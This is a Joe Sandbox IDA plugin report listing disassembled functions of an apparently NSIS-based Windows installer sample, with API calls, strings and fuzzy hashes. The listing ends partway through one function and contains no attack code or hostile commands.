Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: F$N$open
API String ID: 3928313111-1104729357
Opcode ID: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction ID: b74f7aac3d4bcd21dc7a54326fe4aeb8052e912a1eb6d084c2fa05dc76f75ebb
Opcode Fuzzy Hash: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction Fuzzy Hash: 5D71B5F1A00209BFDB109F65DD45EAA7B78FB44305F00853AFA05B62E1C778AD91CB99

Function 00406AC5 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00465E20,NUL,?,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AD5
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AF4
GetShortPathNameW.KERNEL32(000000F1,00465E20,00000400), ref: 00406AFD

Part of subcall function 00405DE2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
Part of subcall function 00405DE2: lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

GetShortPathNameW.KERNEL32(000000F1,0046B478,00000400), ref: 00406B1E
WideCharToMultiByte.KERNEL32(00000000,00000000,00465E20,000000FF,00466620,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B47
WideCharToMultiByte.KERNEL32(00000000,00000000,0046B478,000000FF,00466C70,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B5F
wsprintfA.USER32 ref: 00406B79
GetFileSize.KERNEL32(00000000,00000000,0046B478,C0000000,00000004,0046B478,?,?,00000000,000000F1,?), ref: 00406BB1
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406BC0
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BDC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406C0C
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00467070,00000000,-0000000A,0040A87C,00000000,[Rename]), ref: 00406C63

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C77
GlobalFree.KERNEL32(00000000), ref: 00406C7E
CloseHandle.KERNEL32(?), ref: 00406C88

Strings

[Rename], xrefs: 00406BF4, 00406C03
plF, xrefs: 00406B54
NUL, xrefs: 00406ACA
%s=%s, xrefs: 00406B6F
^F, xrefs: 00406ACF

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: ^F$%s=%s$NUL$[Rename]$plF
API String ID: 565278875-3368763019
Opcode ID: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction ID: 187392fb1a539ff374a899d42f74550c270b9899c721d3c7d9f4fe98b52eb23c
Opcode Fuzzy Hash: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction Fuzzy Hash: F2414B322082197FE7206B61DD4CE6F3E6CDF4A758B12013AF586F21D1D6399C10867E

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,00476AA0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction ID: 3a901b8e11bd10f40e8c3d59bf329074d7a31f92ad936af625f7db958ebfa50f
Opcode Fuzzy Hash: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction Fuzzy Hash: BF518772800209AFCF05CF95DD459AFBBB9FF45315F00802AF952AA1A1C738EA50DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004140F8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004140F8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteReg: error creating key "%s\%s", xrefs: 004029F5

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction ID: c6ff7831871a22410ebf281ca69ba80d881ba5d3dc99c3f31bea2db7712f227d
Opcode Fuzzy Hash: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction Fuzzy Hash: EE418BB2D00208BFCF11AF91CD46DEEBB7AEF44344F20807AF605761A2D3794A509B69

Function 00406113 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
GetFileAttributesW.KERNEL32(00476240,?,00000000,00000000,?,?,00406300,00000000), ref: 00406168
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,00476240,40000000,00000004), ref: 004061A1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,00476240,40000000,00000004), ref: 004061AD
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),0040A678,?,00000000,00000000,?,?,00406300,00000000), ref: 004061C7
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,00406300,00000000), ref: 004061CE
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,00406300,00000000,?,?,00406300,00000000), ref: 004061E3

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004061C1, 004061C6, 004061CD, 004061DC
@bG, xrefs: 00406162

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: @bG$RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-3206598305
Opcode ID: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction ID: 195d9f7db6fc7c0c2d4377fc833027156c916e626c5a885f84869a8699de3d55
Opcode Fuzzy Hash: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction Fuzzy Hash: 0121C271500240EBD710ABA8DD88D9B3B6CEB06334B118336F52ABA1E1D7389D85C7AC

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction ID: bd1c3f70b2adfd396ae192ad3b35d3c6df9fc0ba6a3ee2c413e2f7d1cf6bca0f
Opcode Fuzzy Hash: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction Fuzzy Hash: CF319E72800115ABDB11AFA9CD89DAF7FB9EF08364F10023AF515B61E1C7394E419B98

Function 004023F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00425976,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00425976,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00425976,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

`G, xrefs: 0040246E
Error registering DLL: Could not load %s, xrefs: 004024DB
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: %s not found in %s, xrefs: 0040249A

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$`G
API String ID: 1033533793-4193110038
Opcode ID: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction ID: ac94b2829880799def153f2ab6d9fb01897d962df66ba524602deb4d09d833fb
Opcode Fuzzy Hash: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction Fuzzy Hash: AE21A635A00215FBDF20AFA1CE49A9D7E71AB44318F30817BF512761E1D6BD4A80DA5D

Function 00403DF6 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403E10
GetSysColor.USER32(00000000), ref: 00403E2C
SetTextColor.GDI32(?,00000000), ref: 00403E38
SetBkMode.GDI32(?,?), ref: 00403E44
GetSysColor.USER32(?), ref: 00403E57
SetBkColor.GDI32(?,?), ref: 00403E67
DeleteObject.GDI32(?), ref: 00403E81
CreateBrushIndirect.GDI32(?), ref: 00403E8B

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction ID: 46e75ec11a9703e62b9e59528547c83071966f0b6f932d53464b5ad1ffaeee7a
Opcode Fuzzy Hash: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction Fuzzy Hash: CA116371500744ABCB219F78DD08B5BBFF8AF40715F048A2AE895E22A1D738DA44CB94

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00425976,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00425976,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00425976,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00405C6B: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
Part of subcall function 00405C6B: CloseHandle.KERNEL32(?), ref: 00405C9D

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: success ("%s"), xrefs: 00402263
Exec: command="%s", xrefs: 00402241

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction ID: 042007ee205ef60e30064d08c60082207347e2967af2fac5581f577c4c1081ae
Opcode Fuzzy Hash: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction Fuzzy Hash: 4E11A332504115EBDB01BFE1DE49AAE3A62EF04324B24807FF502B51D2C7BD4D51DA9D

Function 0040487A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404895
GetMessagePos.USER32 ref: 0040489D
ScreenToClient.USER32(?,?), ref: 004048B5
SendMessageW.USER32(?,00001111,00000000,?), ref: 004048C7
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048ED

Strings

f, xrefs: 004048C9

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction ID: ebefa7930bdcd0e41c689069c6d494cf412fee4c497549fa98469d3d4217857c
Opcode Fuzzy Hash: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction Fuzzy Hash: 7A019E72A00219BAEB00DB94CC85BEEBBB8AF44710F10412ABB10B61D0C3B45A058BA4

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(0002C400,00000064,0241E552), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction ID: b5f4dff99bd495ec87a9693a0662ffae913500554fa258d9a040327637eece45
Opcode Fuzzy Hash: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction Fuzzy Hash: F8014470640109BBEF109F60DC4AFEE3B68AB00309F008439FA05E51E1DB789A55CF58

Function 00406064 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
CharNextW.USER32(?,?,?,00000000), ref: 004060D6
